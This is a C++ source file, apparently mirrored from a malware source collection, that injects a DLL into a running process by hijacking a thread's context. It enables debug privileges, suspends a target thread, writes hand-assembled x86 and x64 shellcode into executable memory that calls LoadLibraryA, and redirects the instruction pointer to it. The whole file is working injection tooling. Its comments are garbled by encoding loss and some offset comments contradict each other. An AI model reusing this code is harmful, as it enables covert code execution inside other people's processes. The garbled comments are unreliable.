mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-20 18:36:10 +00:00
357 lines
10 KiB
C++
357 lines
10 KiB
C++
|
// InjectDllBySetThreadContextx64.cpp : <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̨Ӧ<CCA8>ó<EFBFBD><C3B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڵ㡣
|
|||
|
|
//
|
|||
|
|
|
|||
|
|
#include "stdafx.h"
|
|||
|
|
|
|||
|
|
#include <iostream>
|
|||
|
|
using namespace std;
|
|||
|
|
#include <windows.h>
|
|||
|
|
#include "tlhelp32.h"
|
|||
|
|
BYTE ShellCode[64]=
|
|||
|
|
{
|
|||
|
|
0x60,
|
|||
|
|
0x9c,
|
|||
|
|
0x68, //push
|
|||
|
|
0xaa,0xbb,0xcc,0xdd,//dll path +3 dll<6C><6C>Ŀ<EFBFBD><C4BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>еĵ<D0B5>ַ
|
|||
|
|
0xff,0x15, //call <20><><EFBFBD><EFBFBD><EFBFBD>о<EFBFBD><D0BE>е<EFBFBD><D0B5>ң<EFBFBD><D2A3><EFBFBD><EFBFBD><EFBFBD>64<36><34>ֱ<EFBFBD><D6B1>call <20><><EFBFBD>Ե<EFBFBD>ַ
|
|||
|
|
0xdd,0xcc,0xbb,0xaa,//+9 LoadLibrary Addr Addr
|
|||
|
|
0x9d,
|
|||
|
|
0x61,
|
|||
|
|
0xff,0x25, //jmp
|
|||
|
|
0xaa,0xbb,0xcc,0xdd,// +17 jmp eip
|
|||
|
|
0xaa,0xaa,0xaa,0xaa,// loadlibrary addr
|
|||
|
|
0xaa,0xaa,0xaa,0xaa// jmpaddr +25
|
|||
|
|
|
|||
|
|
// +29
|
|||
|
|
};
|
|||
|
|
|
|||
|
|
/*
|
|||
|
|
{
|
|||
|
|
00973689 > 60 PUSHAD
|
|||
|
|
0097368A 9C PUSHFD
|
|||
|
|
0097368B 68 50369700 PUSH notepad.00973650
|
|||
|
|
00973690 FF15 70369700 CALL DWORD PTR DS:[973670]
|
|||
|
|
00973696 9D POPFD
|
|||
|
|
00973697 61 POPAD
|
|||
|
|
00973698 - FF25 30369700 JMP DWORD PTR DS:[973630]
|
|||
|
|
}
|
|||
|
|
*/
|
|||
|
|
|
|||
|
|
BYTE ShellCode64[64]=
|
|||
|
|
{
|
|||
|
|
0x48,0x83,0xEC,0x28, // sub rsp ,28h
|
|||
|
|
|
|||
|
|
0x48,0x8D,0x0d, // [+4] lea rcx,
|
|||
|
|
0xaa,0xbb,0xcc,0xdd, // [+7] dll path offset = TargetAddress- Current(0x48)[+4] -7
|
|||
|
|
|
|||
|
|
0x48, 0xB8,
|
|||
|
|
0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc,
|
|||
|
|
0xff, 0xd0,
|
|||
|
|
|
|||
|
|
0x48,0x83,0xc4,0x28, // [+16] add rsp,28h
|
|||
|
|
//0xcc, <20><><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>int 3 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>dz<EFBFBD>ɵ<EFBFBD>Ƶ<EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>...<2E>ѹ<EFBFBD>һֱ<D2BB><D6B1>
|
|||
|
|
0xff,0x25, // [+20]
|
|||
|
|
0xaa,0xbb,0xcc,0xdd, // [+22] jmp rip offset = TargetAddress - Current(0xff)[+20] - 6
|
|||
|
|
|
|||
|
|
0xaa,0xbb,0xcc,0xdd, //+26
|
|||
|
|
0xaa,0xbb,0xcc,0xdd
|
|||
|
|
//+34
|
|||
|
|
};
|
|||
|
|
|
|||
|
|
BOOL EnableDebugPriv() ;
|
|||
|
|
BOOL StartHook(HANDLE hProcess,HANDLE hThread);
|
|||
|
|
|
|||
|
|
|
|||
|
|
DWORD main_GetProcessIdByName(LPWSTR pszProcessName, PDWORD pdwProcessId)
|
|||
|
|
{
|
|||
|
|
DWORD dwProcessId = 0;
|
|||
|
|
HANDLE hSnapshot = NULL;
|
|||
|
|
PROCESSENTRY32 pe = { 0 };
|
|||
|
|
DWORD eReturn = 0;
|
|||
|
|
|
|||
|
|
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
|||
|
|
if (NULL == hSnapshot)
|
|||
|
|
{
|
|||
|
|
eReturn = -1;
|
|||
|
|
printf("CreateToolhelp32Snapshot error. GLE: %d.", GetLastError());
|
|||
|
|
goto lblCleanup;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
pe.dwSize = sizeof(PROCESSENTRY32);
|
|||
|
|
if (FALSE == Process32First(hSnapshot, &pe))
|
|||
|
|
{
|
|||
|
|
eReturn = -1;
|
|||
|
|
printf("Process32First error. GLE: %d.", GetLastError());
|
|||
|
|
goto lblCleanup;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
do
|
|||
|
|
{
|
|||
|
|
if (NULL != wcsstr(pe.szExeFile, pszProcessName))
|
|||
|
|
{
|
|||
|
|
dwProcessId = pe.th32ProcessID;
|
|||
|
|
break;
|
|||
|
|
}
|
|||
|
|
} while (Process32Next(hSnapshot, &pe));
|
|||
|
|
|
|||
|
|
if (0 == dwProcessId)
|
|||
|
|
{
|
|||
|
|
printf("[*] Process '%S' could not be found.\n\n\n", pszProcessName);
|
|||
|
|
eReturn = -1;
|
|||
|
|
goto lblCleanup;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
printf("[*] Found process '%S'. PID: %d (0x%X).\n\n\n", pszProcessName, dwProcessId, dwProcessId);
|
|||
|
|
*pdwProcessId = dwProcessId;
|
|||
|
|
eReturn = 0;
|
|||
|
|
|
|||
|
|
lblCleanup:
|
|||
|
|
if ((NULL != hSnapshot) && (INVALID_HANDLE_VALUE != hSnapshot))
|
|||
|
|
{
|
|||
|
|
CloseHandle(hSnapshot);
|
|||
|
|
hSnapshot = NULL;
|
|||
|
|
}
|
|||
|
|
return eReturn;
|
|||
|
|
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
int _tmain(int argc, _TCHAR* argv[])
|
|||
|
|
{
|
|||
|
|
EnableDebugPriv() ;
|
|||
|
|
|
|||
|
|
DWORD ProcessId = 0;
|
|||
|
|
#ifdef _WIN64
|
|||
|
|
main_GetProcessIdByName(L"targetx64.exe", &ProcessId);
|
|||
|
|
#else
|
|||
|
|
main_GetProcessIdByName(L"target.exe", &ProcessId);
|
|||
|
|
#endif
|
|||
|
|
|
|||
|
|
|
|||
|
|
HANDLE Process = OpenProcess(PROCESS_ALL_ACCESS,NULL,ProcessId);
|
|||
|
|
if(Process == NULL)
|
|||
|
|
{
|
|||
|
|
printf("OpenProcess Fail LastError [%d]\n", GetLastError());
|
|||
|
|
getchar();
|
|||
|
|
return 0;
|
|||
|
|
}
|
|||
|
|
printf("Open Process [%d] OK.\n", ProcessId);
|
|||
|
|
|
|||
|
|
THREADENTRY32 te32 = {sizeof(THREADENTRY32)} ;
|
|||
|
|
HANDLE hThreadSnap = CreateToolhelp32Snapshot (TH32CS_SNAPTHREAD, 0) ;
|
|||
|
|
if ( hThreadSnap == INVALID_HANDLE_VALUE )
|
|||
|
|
{
|
|||
|
|
printf("CreateToolhelp32Snapshot fail LastError [%d]\n", GetLastError());
|
|||
|
|
getchar();
|
|||
|
|
return FALSE;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
if (Thread32First(hThreadSnap, &te32))
|
|||
|
|
{
|
|||
|
|
do{
|
|||
|
|
if(te32.th32OwnerProcessID == ProcessId)
|
|||
|
|
{
|
|||
|
|
HANDLE Thread = OpenThread(THREAD_ALL_ACCESS,NULL,te32.th32ThreadID);
|
|||
|
|
if(Thread == NULL)
|
|||
|
|
{
|
|||
|
|
printf("OpenThread Failed LastError [%d]\n", GetLastError());
|
|||
|
|
break;
|
|||
|
|
}
|
|||
|
|
SuspendThread(Thread);
|
|||
|
|
|
|||
|
|
printf("start Hook.\n");
|
|||
|
|
if (!StartHook(Process,Thread))
|
|||
|
|
{
|
|||
|
|
printf("ʧ<EFBFBD><EFBFBD>\n");
|
|||
|
|
getchar();
|
|||
|
|
}
|
|||
|
|
else
|
|||
|
|
{
|
|||
|
|
CloseHandle(Thread);
|
|||
|
|
break;
|
|||
|
|
}
|
|||
|
|
CloseHandle(Thread);
|
|||
|
|
}
|
|||
|
|
}while(Thread32Next(hThreadSnap, &te32));
|
|||
|
|
}
|
|||
|
|
CloseHandle(Process);
|
|||
|
|
CloseHandle(hThreadSnap);
|
|||
|
|
|
|||
|
|
getchar();
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
BYTE *DllPath;
|
|||
|
|
BOOL StartHook(HANDLE hProcess,HANDLE hThread)
|
|||
|
|
{
|
|||
|
|
#ifdef _WIN64
|
|||
|
|
CONTEXT ctx;
|
|||
|
|
ctx.ContextFlags=CONTEXT_ALL;
|
|||
|
|
if (!GetThreadContext(hThread,&ctx))
|
|||
|
|
{
|
|||
|
|
printf("GetThreadContext Error LastError [%d]\n", GetLastError());
|
|||
|
|
return FALSE;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
printf("getThreadContext OK.\n");
|
|||
|
|
LPVOID LpAddr=VirtualAllocEx(hProcess,NULL,64,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
|
|||
|
|
if (LpAddr==NULL)
|
|||
|
|
{
|
|||
|
|
printf("VirtualAlloc Error LastError [%d]\n", GetLastError());
|
|||
|
|
return FALSE;
|
|||
|
|
}
|
|||
|
|
DWORD64 LoadDllAAddr=(DWORD64)GetProcAddress(GetModuleHandle(L"kernel32.dll"),"LoadLibraryA");
|
|||
|
|
if (LoadDllAAddr==NULL)
|
|||
|
|
{
|
|||
|
|
printf("LoadDllAddr error LastError [%d]\n", GetLastError());
|
|||
|
|
return FALSE;
|
|||
|
|
}
|
|||
|
|
/*
|
|||
|
|
|
|||
|
|
0x48,0x83,0xEC,0x28, //sub rsp ,28h
|
|||
|
|
|
|||
|
|
0x48,0x8D,0x0d, // [+4] lea rcx,
|
|||
|
|
0xaa,0xbb,0xcc,0xdd, // [+7] dll path offset = TargetAddress- Current(0x48)[+4] -7
|
|||
|
|
|
|||
|
|
0x48, 0xB8, // [+11]mov rax, ptr
|
|||
|
|
0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc,
|
|||
|
|
0xff, 0xd0, // [+21] call rax
|
|||
|
|
|
|||
|
|
0x48,0x83,0xc4,0x28, // [+23] add rsp,28h
|
|||
|
|
|
|||
|
|
0xff,0x25, // [+27]
|
|||
|
|
0xaa,0xbb,0xcc,0xdd, // [+29] jmp rip offset = TargetAddress - Current(0xff)[+20] - 6
|
|||
|
|
|
|||
|
|
0xaa,0xbb,0xcc,0xdd, //+33
|
|||
|
|
0xaa,0xbb,0xcc,0xdd
|
|||
|
|
//+41
|
|||
|
|
*/
|
|||
|
|
DllPath=ShellCode64+41;
|
|||
|
|
strcpy((char*)DllPath,"Dllx64.dll");//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫע<D2AA><D7A2><EFBFBD><EFBFBD>DLL<4C><4C><EFBFBD><EFBFBD>
|
|||
|
|
DWORD DllNameOffset = 30;// ((BYTE*)LpAddr+34) -((BYTE*)LpAddr+4) -7 <20><><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>7<EFBFBD><37><EFBFBD>ֽ<EFBFBD>
|
|||
|
|
*(DWORD*)(ShellCode64+7)=(DWORD)DllNameOffset;
|
|||
|
|
////////////////
|
|||
|
|
DWORD64 LoadDllAddroffset = (DWORD64)LoadDllAAddr;// - ((BYTE*)LpAddr + 11) -5; //<2F><><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>5<EFBFBD><35><EFBFBD>ֽ<EFBFBD>e8 + 4addroffset
|
|||
|
|
*(DWORD64*)(ShellCode64+13)=LoadDllAddroffset;
|
|||
|
|
//////////////////////////////////
|
|||
|
|
|
|||
|
|
|
|||
|
|
*(DWORD64*)(ShellCode64+33)=ctx.Rip; //64<36><34>Ϊrip
|
|||
|
|
*(DWORD*)(ShellCode64+29)= (DWORD)0; //<2F>ҽ<EFBFBD><D2BD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD>+26<32>ĵط<C4B5><D8B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>offsetΪ0
|
|||
|
|
|
|||
|
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>д<EFBFBD><D0B4>ת<EFBFBD><D7AA><EFBFBD><EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD>x64 Ӧ<><D3A6>Ҫ<EFBFBD><D2AA>תһ<D7AA><D2BB> <20><><EFBFBD><EFBFBD>Ѱַ
|
|||
|
|
// DWORD Ds = (DWORD)ctx.SegDs;
|
|||
|
|
// DWORD RipOffset = (BYTE*)ctx.Rip - ((BYTE*)LpAddr+20) -6;
|
|||
|
|
// *(DWORD*)(ShellCode64+22)=(DWORD)ctx.Rip;
|
|||
|
|
|
|||
|
|
////////////////////////////////////
|
|||
|
|
if (!WriteProcessMemory(hProcess,LpAddr,ShellCode64,64,NULL))
|
|||
|
|
{
|
|||
|
|
printf("write Process Error LastError [%d]\n", GetLastError());
|
|||
|
|
return FALSE;
|
|||
|
|
}
|
|||
|
|
ctx.Rip=(DWORD64)LpAddr;
|
|||
|
|
if (!SetThreadContext(hThread,&ctx))
|
|||
|
|
{
|
|||
|
|
printf("set thread context error LastError [%d]\n", GetLastError());
|
|||
|
|
return FALSE;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
printf("SetThreadContext OK.\n");
|
|||
|
|
ResumeThread(hThread);
|
|||
|
|
return TRUE;
|
|||
|
|
|
|||
|
|
#else
|
|||
|
|
CONTEXT ctx = {0};
|
|||
|
|
ctx.ContextFlags=CONTEXT_ALL;
|
|||
|
|
if (!GetThreadContext(hThread,&ctx))
|
|||
|
|
{
|
|||
|
|
printf("GetThreadContext Error LastError [%d]\n", GetLastError());
|
|||
|
|
return FALSE;
|
|||
|
|
}
|
|||
|
|
printf("GetThreaxContext OK.\n");
|
|||
|
|
LPVOID LpAddr=VirtualAllocEx(hProcess,NULL,64,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
|
|||
|
|
if (LpAddr==NULL)
|
|||
|
|
{
|
|||
|
|
printf("VirtualAlloc Error LastError [%d]\n", GetLastError());
|
|||
|
|
return FALSE;
|
|||
|
|
}
|
|||
|
|
DWORD LoadDllAAddr=(DWORD)GetProcAddress(GetModuleHandle(L"kernel32.dll"),"LoadLibraryA");
|
|||
|
|
if (LoadDllAAddr==NULL)
|
|||
|
|
{
|
|||
|
|
printf("LoadDllAddr error LastError [%d]\n", GetLastError());
|
|||
|
|
return FALSE;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/////////////
|
|||
|
|
/*
|
|||
|
|
0x60, PUSHAD
|
|||
|
|
0x9c, PUSHFD
|
|||
|
|
0x68, PUSH
|
|||
|
|
0xaa,0xbb,0xcc,0xdd,//dll path address
|
|||
|
|
0xff,0x15, CALL
|
|||
|
|
0xdd,0xcc,0xbb,0xaa, offset
|
|||
|
|
0x9d, POPFD
|
|||
|
|
0x61, POPAD
|
|||
|
|
0xff,0x25, JMP
|
|||
|
|
0xaa,0xbb,0xcc,0xdd,// [xxxxx]
|
|||
|
|
0xaa,0xaa,0xaa,0xaa,// LoadLibrary Address
|
|||
|
|
0xaa,0xaa,0xaa,0xaa// <20>ָ<EFBFBD><D6B8><EFBFBD>EIP Address
|
|||
|
|
// +29 Dll<6C><6C><EFBFBD><EFBFBD>
|
|||
|
|
*/
|
|||
|
|
_asm mov esp,esp
|
|||
|
|
DllPath=ShellCode+29;
|
|||
|
|
strcpy((char*)DllPath,"Dllx86.dll");//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫע<D2AA><D7A2><EFBFBD><EFBFBD>DLL<4C><4C><EFBFBD><EFBFBD>
|
|||
|
|
*(DWORD*)(ShellCode+3)=(DWORD)LpAddr+29;
|
|||
|
|
////////////////
|
|||
|
|
*(DWORD*)(ShellCode+21)=LoadDllAAddr; //loadlibrary<72><79>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD>shellcode<64><65>
|
|||
|
|
*(DWORD*)(ShellCode+9)=(DWORD)LpAddr+21;//<2F><EFBFBD>call ֮<><D6AE><EFBFBD>ĵ<EFBFBD>ַ ΪĿ<CEAA><C4BF><EFBFBD>ռ<EFBFBD><D5BC><EFBFBD><EFBFBD><EFBFBD> loaddlladdr<64>ĵ<EFBFBD>ַ
|
|||
|
|
//////////////////////////////////
|
|||
|
|
*(DWORD*)(ShellCode+25)=ctx.Eip;
|
|||
|
|
*(DWORD*)(ShellCode+17)=(DWORD)LpAddr+25;//<2F><EFBFBD>jmp ֮<><D6AE>Ϊԭ<CEAA><D4AD>eip<69>ĵ<EFBFBD>ַ
|
|||
|
|
////////////////////////////////////
|
|||
|
|
if (!WriteProcessMemory(hProcess,LpAddr,ShellCode,64,NULL))
|
|||
|
|
{
|
|||
|
|
printf("write Process Error LastError [%d]\n", GetLastError());
|
|||
|
|
return FALSE;
|
|||
|
|
}
|
|||
|
|
ctx.Eip=(DWORD)LpAddr;
|
|||
|
|
if (!SetThreadContext(hThread,&ctx))
|
|||
|
|
{
|
|||
|
|
printf("set thread context error LastError [%d]\n", GetLastError());
|
|||
|
|
return FALSE;
|
|||
|
|
}
|
|||
|
|
printf("SetThreadContext OK.\n");
|
|||
|
|
ResumeThread(hThread);
|
|||
|
|
return TRUE;
|
|||
|
|
#endif
|
|||
|
|
|
|||
|
|
};
|
|||
|
|
|
|||
|
|
BOOL EnableDebugPriv()
|
|||
|
|
{
|
|||
|
|
HANDLE hToken;
|
|||
|
|
LUID sedebugnameValue;
|
|||
|
|
TOKEN_PRIVILEGES tkp;
|
|||
|
|
if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken))
|
|||
|
|
{
|
|||
|
|
return FALSE;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
if(!LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&sedebugnameValue))
|
|||
|
|
{
|
|||
|
|
CloseHandle(hToken);
|
|||
|
|
return FALSE;
|
|||
|
|
}
|
|||
|
|
tkp.PrivilegeCount = 1;
|
|||
|
|
tkp.Privileges[0].Luid = sedebugnameValue;
|
|||
|
|
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
|||
|
|
|
|||
|
|
if(!AdjustTokenPrivileges(hToken,FALSE,&tkp,sizeof(tkp),NULL,NULL))
|
|||
|
|
{
|
|||
|
|
return FALSE;
|
|||
|
|
}
|
|||
|
|
CloseHandle(hToken);
|
|||
|
|
return TRUE;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
|